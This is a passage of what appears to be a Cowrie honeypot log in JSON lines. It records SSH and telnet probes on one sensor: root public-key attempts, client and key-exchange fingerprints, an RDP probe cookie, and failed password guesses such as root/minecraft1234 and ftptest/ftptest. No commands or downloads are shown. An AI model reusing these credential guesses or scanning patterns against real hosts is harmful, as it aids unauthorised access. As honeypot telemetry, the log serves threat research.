AAAAB3NzaC1yc2EAAAADAQABAAACAQNCbBWgVNZBJTqSb79axozG0U37RgrMe0R1g+1yHqG6etAXn4sKTretEC01+dVKXQ4iLuRtHAA+gELLCXhEoa9zaCV6jNIlg5RLMn+p8QG92fXLP06N6CuJlpVRzBcNz3mtaWsU8xl1NQCsK836DWPZzcMQS7zysQcw7TvzgN8dA32f2e/uOGP6/4aN8lqCAq+2pVbMb3q3ckCFtEp88c6RRs9mYxqmc47abg8vJa9ahAY0GOpGZ+Rtq2ckzVbKmv03LEFs5PYbaORQVZUtcU29DNRZo2YfCfzF5c6VZTIbUOSYQVzqznBkBno3x6UhXowGpdD/M6ugKKkB4dvmIhHIGGcmD9gm3rOnuq00WhP4N7x4V0ddOuEMiTdW/H4GbXJKfhW3sVQB8/HVOuMr7aqf0ypsyi11v2IhaTP6+nuUlQB82beCdaGx2EDWXbvYaS0MLSoKBFXnVbleMQHpKVL7qGayA5Axb+Lqqd8S0wq+oyfPHINRR/7dwIepveP+LAq9UcM8clKGO69rLxZH/Krk+uZGX9iijtGMxs9B8rXsrLZW+617Z3Yseduk2hC4CPmiMj7Gl/XrQJmq7Z1mdnFQhg0x1L/iMwqV5qBPwYEiqsrHCt8zOAnXdrKcqKgBSQV92VjK5Eon16kRNSX9Nk6U9k3sGoUJm5xvPgaGYT6Hfw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:43.993751Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:f4:cb:94:23:9e:b3:ac:c2:4f:37:b9:b1:8c:80:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIEeTJKpIln3mQFIJHodDG7QU77xioHZCTdHqaoTa2s4TitqgIu99erphH7gH3k1PkOmAdvCbwR7CqZO4j6HFQXEIlyPNvGI7I3pZZOR+u0miYFgLxtIs8C4xzW5rcEz16uGFkztVgeOMkvl86VVYMbUgKgNLWSWDVHkU4FlRzQBfinr+Znvu5Bw2uF7QLxwLGgzf8/SC+YVbabPbG8TviUu19yNUlUiuDezNaxkmo0RjFz3sGrMxPqaHDTGWah8LcOsE9KuuuJ8y7jibycIJL5pdK324VV0Tm8LyyN4nStUIFLdfm8d9r9rfsmksWdSZn9p8jfjT5esrK0/ioWA7L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:f4:cb:94:23:9e:b3:ac:c2:4f:37:b9:b1:8c:80:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.094643Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:f4:cb:94:23:9e:b3:ac:c2:4f:37:b9:b1:8c:80:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIEeTJKpIln3mQFIJHodDG7QU77xioHZCTdHqaoTa2s4TitqgIu99erphH7gH3k1PkOmAdvCbwR7CqZO4j6HFQXEIlyPNvGI7I3pZZOR+u0miYFgLxtIs8C4xzW5rcEz16uGFkztVgeOMkvl86VVYMbUgKgNLWSWDVHkU4FlRzQBfinr+Znvu5Bw2uF7QLxwLGgzf8/SC+YVbabPbG8TviUu19yNUlUiuDezNaxkmo0RjFz3sGrMxPqaHDTGWah8LcOsE9KuuuJ8y7jibycIJL5pdK324VV0Tm8LyyN4nStUIFLdfm8d9r9rfsmksWdSZn9p8jfjT5esrK0/ioWA7L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.098408Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:0d:ad:a0:8f:3a:0d:17:90:e1:76:fd:d4:f1:75:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2QhSmUcdQmL75eJdepfCUygkJZbYS2htxOSPSFePGaqi9iITcDklVhsWO+nvzPP0loSGKFrLvmohtZzAuGI0ZYgzs8hL4YApxNIZnNGSJW2FmSoozONi6eZpV0x75CBi5W6LzmZjeb9OMMgEQdQrq7KQl+rcb2ZH9arlOpvw040WarOIReElZ2YlUVHYkuuuEPZntt/XN7tLSUMQJqxOmirVcu448p+HFuCcOax9BNSnJJ3XEW4aE4KzWRsT/tjJkNdnzrkdRChZTFtiisXtXA1keEQ6bMqkMM7hiuTBtRGFfawwBIvIBt/4G8LzmfhFN+Iy/BV5HjJVkYEPeNSHEpIvX6GGLzc5ESwL6FfdX7HZi6b55Hef7tUawpSxL6+XLxF8x+6IkffF85dDSADbDvQufWIJZRQ+STiPbcE28rhb82FuY85VJgfRatKTarCtSDmYTa4YFb3+6MzJZvn2iwzC5GuwQELU2wePFL/7Z1ov9ZV7+9uqfnJ+hZXuxmF8R9WdpfmSDF2z+W4auodz2xhCvm5rwhbi9T39L4McL2ckFiJBpPT+znwFwcYiEcX5h6bsKFRn1drh5IpsvCZawK/8eAOlm9sbht0eMkhKl2A6Y2Rl7Wm72/0I+WVEKuRtoy7sLocVQilbgsMmYsHYvkdfP+Qda09DtmGUQFPDjkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:0d:ad:a0:8f:3a:0d:17:90:e1:76:fd:d4:f1:75:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.200228Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:0d:ad:a0:8f:3a:0d:17:90:e1:76:fd:d4:f1:75:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2QhSmUcdQmL75eJdepfCUygkJZbYS2htxOSPSFePGaqi9iITcDklVhsWO+nvzPP0loSGKFrLvmohtZzAuGI0ZYgzs8hL4YApxNIZnNGSJW2FmSoozONi6eZpV0x75CBi5W6LzmZjeb9OMMgEQdQrq7KQl+rcb2ZH9arlOpvw040WarOIReElZ2YlUVHYkuuuEPZntt/XN7tLSUMQJqxOmirVcu448p+HFuCcOax9BNSnJJ3XEW4aE4KzWRsT/tjJkNdnzrkdRChZTFtiisXtXA1keEQ6bMqkMM7hiuTBtRGFfawwBIvIBt/4G8LzmfhFN+Iy/BV5HjJVkYEPeNSHEpIvX6GGLzc5ESwL6FfdX7HZi6b55Hef7tUawpSxL6+XLxF8x+6IkffF85dDSADbDvQufWIJZRQ+STiPbcE28rhb82FuY85VJgfRatKTarCtSDmYTa4YFb3+6MzJZvn2iwzC5GuwQELU2wePFL/7Z1ov9ZV7+9uqfnJ+hZXuxmF8R9WdpfmSDF2z+W4auodz2xhCvm5rwhbi9T39L4McL2ckFiJBpPT+znwFwcYiEcX5h6bsKFRn1drh5IpsvCZawK/8eAOlm9sbht0eMkhKl2A6Y2Rl7Wm72/0I+WVEKuRtoy7sLocVQilbgsMmYsHYvkdfP+Qda09DtmGUQFPDjkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.204933Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:93:13:6d:5b:69:0b:17:26:67:77:70:fa:a8:d2:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEz61F8rMF/POCrSMr5kxCtnF6NHvOWMHDRcs3tjz1Bo/k+TitifWL2/kUKLor0Rn5o8+c5SYkjhnGWFuIzRr9L02JAZcpRZVll6Ia8ZM3ABn7AytUjx8jDvy5zIkGIvQbIcGExgeaOBuDuqsfyJSfg4XOJrXLKJT4kxdnHb6vEvrzcAG//LpwB8/nIFxaE2af6/HnNRtFZ3jmQF6Wb340AIt25XquZ4FZ7mnirbRB4wpO1lakCzHTmfQWsuDlQY744cA/W34QhdWx6wpgaEpqFe2QZU/iR5+KTzzvM13HPnG39XCUERGIRXB6Z76zxxZhMhHO5TT+qYLYEyiNwJZqcCgoMyjU7bQb/QEkWAxmiAx+hThs+wf4uwbF0qCTEV+6CZv5ozikIANuDjlOsyjNuW3Vl6Wdodu18ysnAwp8SE9HsmWgpZAXbQ0/SMHLsY2s+2K3BaVFE8eiSgKbSsgPjKbexbleVmXSFSw2/XshEeazCURdzecfNQisb+8gZtXzQkw0kdZt/Lr12OSvUjb3QiqM8q+B5VCAgj0mlnAVvAln86qKuw07Z5gYoKsb++Xpoeoo9Mb1Uex44ius+Ke0cRSsDiXhqu2EE7EgIqJbj0b0hVs0ATwyT9ob3JKp+40STAlO604OMuxQYOe7LPCRL37R6yr4Hvxrb9ov8WPlOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:93:13:6d:5b:69:0b:17:26:67:77:70:fa:a8:d2:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.307340Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:93:13:6d:5b:69:0b:17:26:67:77:70:fa:a8:d2:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEz61F8rMF/POCrSMr5kxCtnF6NHvOWMHDRcs3tjz1Bo/k+TitifWL2/kUKLor0Rn5o8+c5SYkjhnGWFuIzRr9L02JAZcpRZVll6Ia8ZM3ABn7AytUjx8jDvy5zIkGIvQbIcGExgeaOBuDuqsfyJSfg4XOJrXLKJT4kxdnHb6vEvrzcAG//LpwB8/nIFxaE2af6/HnNRtFZ3jmQF6Wb340AIt25XquZ4FZ7mnirbRB4wpO1lakCzHTmfQWsuDlQY744cA/W34QhdWx6wpgaEpqFe2QZU/iR5+KTzzvM13HPnG39XCUERGIRXB6Z76zxxZhMhHO5TT+qYLYEyiNwJZqcCgoMyjU7bQb/QEkWAxmiAx+hThs+wf4uwbF0qCTEV+6CZv5ozikIANuDjlOsyjNuW3Vl6Wdodu18ysnAwp8SE9HsmWgpZAXbQ0/SMHLsY2s+2K3BaVFE8eiSgKbSsgPjKbexbleVmXSFSw2/XshEeazCURdzecfNQisb+8gZtXzQkw0kdZt/Lr12OSvUjb3QiqM8q+B5VCAgj0mlnAVvAln86qKuw07Z5gYoKsb++Xpoeoo9Mb1Uex44ius+Ke0cRSsDiXhqu2EE7EgIqJbj0b0hVs0ATwyT9ob3JKp+40STAlO604OMuxQYOe7LPCRL37R6yr4Hvxrb9ov8WPlOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.312460Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:59:67:cd:78:f4:48:15:b2:6e:81:0e:79:43:51:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjO3e9uAaxd4QPHC82xvlPPC0lwiMcDLDZSnqdDxKtboL3n+NuBLTBQbgVIHOJ4uNcDPW4rgtTmltx4YMyK+Rc1xpHR3TbX1d/5P1AWZfEKQVLNAm2526P0W21vDGQwOsLPk80kbTP0znwdi0+8yxHqV20RwhTem77Yc5OOAae9jvhCxH3Ru50IeU5o+hOmXi6LtO5VA+ujeu4rIC0GBkVfM0naSPJF5PxAC16ZeslaCIT9P7dY1dsBvCHLrJLKn+Bmdavbh5Fdz4F8ZOEgU+3PoDnqbISQrREYtCq8ZeK7fx4gnTTxoWiWQIzBUlc5YO/9wIiekWD7rHcpa77OHmmGM31w8uJAc57Ghi+f0993bd5ByrDUvg8EoWUSnkXa+1rA7gktnjaYXdjHjKapFbFZ3r1nzE55lkA9gn61guK+9ywAEEyopXh1KrBF7RgYSl9dHW7t+G7+Q06mEZ0RDshd6HYk+kUKCwruTnVz7K/9VhS4wCIhtAiyGWdv8BRDHneUrdCSUTUMWqzsZjHOjkWe2lzZy75S7ppYMstFtgRxS2GMCa18BLnTteI2cijbRdASQDFE9kOVyGM98z8S2wyZidySWd/x+LlDNs/u3VsL3zrLNuy8rXvBISUagBTjRk6DHlm5hlui2wwOvrqsxC2d0X4izYkHReAUAI+xEdNJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:59:67:cd:78:f4:48:15:b2:6e:81:0e:79:43:51:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.419205Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:59:67:cd:78:f4:48:15:b2:6e:81:0e:79:43:51:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjO3e9uAaxd4QPHC82xvlPPC0lwiMcDLDZSnqdDxKtboL3n+NuBLTBQbgVIHOJ4uNcDPW4rgtTmltx4YMyK+Rc1xpHR3TbX1d/5P1AWZfEKQVLNAm2526P0W21vDGQwOsLPk80kbTP0znwdi0+8yxHqV20RwhTem77Yc5OOAae9jvhCxH3Ru50IeU5o+hOmXi6LtO5VA+ujeu4rIC0GBkVfM0naSPJF5PxAC16ZeslaCIT9P7dY1dsBvCHLrJLKn+Bmdavbh5Fdz4F8ZOEgU+3PoDnqbISQrREYtCq8ZeK7fx4gnTTxoWiWQIzBUlc5YO/9wIiekWD7rHcpa77OHmmGM31w8uJAc57Ghi+f0993bd5ByrDUvg8EoWUSnkXa+1rA7gktnjaYXdjHjKapFbFZ3r1nzE55lkA9gn61guK+9ywAEEyopXh1KrBF7RgYSl9dHW7t+G7+Q06mEZ0RDshd6HYk+kUKCwruTnVz7K/9VhS4wCIhtAiyGWdv8BRDHneUrdCSUTUMWqzsZjHOjkWe2lzZy75S7ppYMstFtgRxS2GMCa18BLnTteI2cijbRdASQDFE9kOVyGM98z8S2wyZidySWd/x+LlDNs/u3VsL3zrLNuy8rXvBISUagBTjRk6DHlm5hlui2wwOvrqsxC2d0X4izYkHReAUAI+xEdNJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.423307Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.524344Z","src_ip":"176.65.131.188","session":"15440477a7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":56844,"dst_ip":"10.17.0.5","dst_port":22,"session":"e714d8fca5b8","protocol":"ssh","message":"New connection: 43.228.112.254:56844 (10.17.0.5:22) [session: e714d8fca5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.630790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.635324Z","src_ip":"43.228.112.254","session":"e714d8fca5b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:44.844829Z","src_ip":"43.228.112.254","session":"e714d8fca5b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc1q2w3e","message":"login attempt [root/idc1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:45.728857Z","src_ip":"43.228.112.254","session":"e714d8fca5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:45:46.942089Z","src_ip":"43.228.112.254","session":"e714d8fca5b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33734,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb11efe835d0","protocol":"ssh","message":"New connection: 193.32.162.151:33734 (159.203.135.109:22) [session: cb11efe835d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:04.026726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:04.031820Z","src_ip":"193.32.162.151","session":"cb11efe835d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:04.143075Z","src_ip":"193.32.162.151","session":"cb11efe835d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:04.456545Z","src_ip":"193.32.162.151","session":"cb11efe835d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:05.562848Z","src_ip":"193.32.162.151","session":"cb11efe835d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.2.184.193","src_port":36264,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fcb43da568e","protocol":"telnet","message":"New connection: 1.2.184.193:36264 (10.17.0.5:23) [session: 2fcb43da568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:19.085565Z"}
{"eventid":"cowrie.session.closed","duration":12.787897825241089,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:31.873393Z","src_ip":"1.2.184.193","session":"2fcb43da568e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50127,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d3b65c6a80","protocol":"ssh","message":"New connection: 152.42.212.128:50127 (10.17.0.5:22) [session: 02d3b65c6a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:33.778270Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:33.783161Z","src_ip":"152.42.212.128","session":"02d3b65c6a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:33.786889Z","src_ip":"152.42.212.128","session":"02d3b65c6a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":47044,"dst_ip":"10.17.0.5","dst_port":22,"session":"4111b68d710a","protocol":"ssh","message":"New connection: 43.156.136.152:47044 (10.17.0.5:22) [session: 4111b68d710a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:40.256919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:40.261519Z","src_ip":"43.156.136.152","session":"4111b68d710a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:40.502943Z","src_ip":"43.156.136.152","session":"4111b68d710a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1234","message":"login attempt [root/minecraft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:41.484802Z","src_ip":"43.156.136.152","session":"4111b68d710a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:42.725259Z","src_ip":"43.156.136.152","session":"4111b68d710a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d56e61d06d","protocol":"ssh","message":"New connection: 192.169.243.246:41404 (10.17.0.5:22) [session: 66d56e61d06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:51.123283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:46:51.128507Z","src_ip":"192.169.243.246","session":"66d56e61d06d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.